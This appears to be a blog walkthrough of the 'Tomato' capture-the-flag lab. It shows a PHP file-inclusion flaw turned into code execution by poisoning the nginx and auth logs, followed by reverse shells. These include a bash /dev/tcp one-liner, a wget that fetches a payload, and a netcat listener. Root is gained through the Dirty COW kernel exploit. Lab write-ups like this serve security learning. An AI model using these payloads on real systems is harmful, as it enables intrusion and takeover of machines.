Time to push myself. I decided to go for a “Medium to Hard” box, Tomato this time round. I’m really liking the boxes put forth by the SunCRS Team. This box really helped me solidify some tactics I struggled understand early on. Hopefully you learn something from this as well. On with the walk-through!

Information Gathering

sudo nmap -sT -sV -O -p-

A fair bit to start with, two web servers (Apache HTTP [:80] and Nginx [:8888]), an outdated OpenSSH server, and a vsFTPd server.

Figure I would start with FTP. After a few failed anonymous login attempts, I decided it was time to let it be. No need to start brute forcing yet. The SSH server running on the machine is prone to a user enumeration vulnerability. However, when I tried using some scripts from exploit-db and metasploit, I found that the users I tested with we’re both valid and invalid. But I highly doubt, drt was a valid user, but some scripts showed that it was (and others showed me it wasn’t). Put a pin in that for now. Maybe we can use this in a different way later.

Time to see if we can glean anything from the Apache and/or Nginx servers. Start with the one running on port 80, Apache. As I expected, nothing out of the ordinary at first glance.

Just a picture of a tomato. What about the nginx server running on port 8888?

Password protected! Okay not much we can do for now, let’s look for some other files or directories using gobuster. I tend to start with this medium list first.

gobuster dir -u -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

Nothing! No need to fret. Let’s try another one

gobuster dir -u -w /usr/share/wordlists/dirb/common.txt

BOOM Something to work with! Looks like this is some type of old WordPress plugin. After looking through some files we see that info.php is the PHP info page. Inspecting the source code, we can see a comment with some PHP code:

<?php include($_GET['image']); ?>

This can be leveraged for a LFI (local file inclusion) attack. We can test that it’s working but trying to load the contents of /etc/passwd to our info page.

Success! 🥳 Let’s start exploiting!

neko typing


We’re going to use an LFI attack and can be exploited by log file poisoning. One day I will do a whole article on LFI and log file poisoning. Basically, we need to do is inject a log file with some code that will get executed/processed by the web server. Hopefully, this will give us access to some RCE (remote code execution) that we can use to get a shell. We just need to find a log that we can access. On most systems, these log files are locked down with permissions that don’t allow access from any user. Sysadmins are lazy sometimes, and need to access these from another system or process and will loosen the restrictions. There were four services we found from the nmap scan. Let’s try getting access to those

  • vsftpd: /var/log/vsftpd.log
  • apache: /var/log/apache/access_log
  • nginx: /var/log/nginx/access.log
  • ssh: /var/log/auth.log (this is a system authentication log, not just ssh)


After a few tests, we found that both the nginx log and the Ubuntu system authentication log have botched permissions. Two options to choose from.

Option 1: nginx access.log

With access to /var/log/nginx/access.log, we can try to poison this with some PHP code and hopefully get this to execute commands on the remote machine.

A Quick Sidebar: This was a pain in the ass. If I’m being honest, this was the more difficult option (for me). I tried using this in a way to read another $_GET parameter, but that broke the LFI vulnerability. Resulting in losing access to the nginx logs. I must have experimented with a bunch of different variations on trying to get this working. I can’t count how many times I had to revert my virtual machine. There were moments when I wanted to just throw my computer away. ron swanson computer

The steps below are one way to using the LFI to get RCE, and then use the LFI to include a PHP file we create. So, as a word of warning: TAKE A SNAPSHOT NOW. If you get a single character wrong, it could screw the whole thing up, and I don’t think you want to wait until tomorrow for the log to rotate. So if you want to play around, experiment with a different attack, I highly recommend taking a snapshot. Without further ado, onto the exploit!

If we look at the nginx access.log we can see that it writes the time, method, user-agent, status, and path. The only two variables we could potentially have control over is the user-agent and the path. However, the path isn’t a great choice because of all the special characters, and URL encoding wouldn’t be decoded in the log. Our only true option is the user-agent. Luckily, we can change it with our good ol' friend, curl.

Before jumping in, let’s test the waters with a simple command of ls -lah to see what’s in the current directory.

curl -A "<?php system('ls -lah'); ?>"

Looking good! This is where I struggled a lot (see sidebar above). My final implementation is a little convoluted, but gets the job done:

  • Create a reverse shell PHP file on the Kali box and host it with python.
  • Start a netcat listener on the Kali machine.
  • Use LFI of /var/log/nginx/access.log to include it in the page.
  • With curl, manipulate the user-agent with PHP code that executes a command to download the reverse shell code on the Kali machine to the /tmp directory on the target machine.
  • Point the LFI to our downloaded reverse shell file.

Create a reverse shell called rs.php on your Kali machine with the following code.

<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/ 0>&1'"); ?>

Be sure to change the IP and port for your local machine and netcat listener! Next, start a python web server on your Kali box in the directory of your reverse shell.

python3 -m http.server

Here’s how we can leverage log poisoning and RCE to download our file. Run the following command to download the reverse shell into the /tmp directory on the target.

curl -A \
  "<?php exec('wget -O /tmp/rs.php') ?>" \

It’s important to note here that the previous command DOES NOT EXECUTE the PHP exec to download the file. We have only poisoned the log file with some PHP code, and the server still needs to load the file and process it. We need to refresh the page in our browser for the download to actually occur.

If you haven’t already, start your netcat listener.

nc -lnvp 4444

Finally, update the file inclusion to use the reverse shell at /tmp/rs.php. The full URL will be:

Overall I found this to be a bit too finicky. Especially when the slightest hiccup caused it to fail. If you’re interested in learning how to leverage /var/log/auth.log to get RCE and a reverse shell, keep reading. Otherwise, skip ahead to the Privilege Escalation section.

Option 2: auth.log

This file houses all authentication related events on Debian and Ubuntu systems. This includes login attempts via SSH. How can we leverage this? Similar to the nginx/access.log, we can can load it in our web browser with ?image=/var/log/auth.log. We can craft a special username and attempt to log into SSH with it. In fact, the username can be some PHP code! Having the username as '<?php system($_GET['cmd']); ?>', allow us to run commands with a new GET parameters, cmd. The full command to execute:

ssh -p 2211 '<?php system($_GET['cmd']); ?>'@

It will ask for a password, press enter. After it fails once, quit the command, the damage is already done.

Before rushing into a reverse shell, let’s test with a simple command: lsb_release -a. The full URL parameters will be ?image=/var/log/auth.log&cmd=lsb_release -a.

Excellent! We successfully have remote code execution from the URL! All that’s left to do now is to URL encode our bash reverse shell one-liner and replace it with our previous cmd parameter.

Fire up a netcat listener on port 4444.

nc -lnvp 4444

Our URL encoded payload:


We now have a shell on the target machine! Using the ssh vector was a lot more straight forward. I also found the auth.log was parsed with a little more flexibility. Either option works, and I suggest you try your hand at both!

Privilege Escalation

A little bit of quick enumeration, found nothing blatantly exploitable, and no gcc, cc, or clang commands. The kernel, however, is pretty out of date, running at version 4.4.0-21-generic. You can confirm this with a quick uname -a. Even though it’s a 4.4 kernel, I decided to use Dirty COW, as this kernel is still vulnerable to it. The problem I ran into was there was no gcc, cc, or clang commands on the machine. No C compiler doesn’t leave too many options. Investigating a bit further for compilers though…

dpkg --list 2>/dev/null | grep compiler | grep -v decompiler 2>/dev/null
reveals that there actually is a C compiler on the machine, gcc-5! This was a juicy little nugget I discovered when looking at the source code for LinEnum. With that, let’s get our exploit onto the machine.

I chose to use Linux Kernel 2.6.22 < 3.9 (x86/x64) - ‘Dirty COW /proc/self/mem’ Race Condition Privilege Escalation (SUID Method). An exploit I found using searchsploit dirty cow. Also, it has very good documentation at the top of the file.

On your Kali machine execute the following

cp -v /usr/share/exploitdb/exploits/linux/local/40616.c .
'/usr/share/exploitdb/exploits/linux/local/40616.c' -> './40616.c'
python3 -m http.server # only run if you stopped the previous server

With that set up, move back to the target machine and run the following.

cd /tmp
wget -O cowroot.c
gcc-5 cowroot.c -o cowroot -pthread

This will hose the system! You will be left with a weird semi-usable system. Check to see that you’re root by running id.

We’re in the endgame now. Time to get what we came for.

uid=0(root) gid=33(www-data) groups=33(www-data)
cd /root
cat proof.txt


This really challenged me! I feel like I really now, do have a good foundation of LFI attacks, and will be better at spotting them in the future. Sadly, I fell through too many rabbit holes, and did need some help along the way. I’m also not too happy about my privilege escalation tactics as it leads to corruption on the target system (see below).

what happens to the server with dirty cow after exploitation. its called dirty for a reason

If I we’re to do it again, I would try a different kernel exploit. Or possibly use dirty cow to get root, but add another sudo user to the system. This way I can reboot the server, and have persistent access afterwards. Live and learn, and keep on hacking!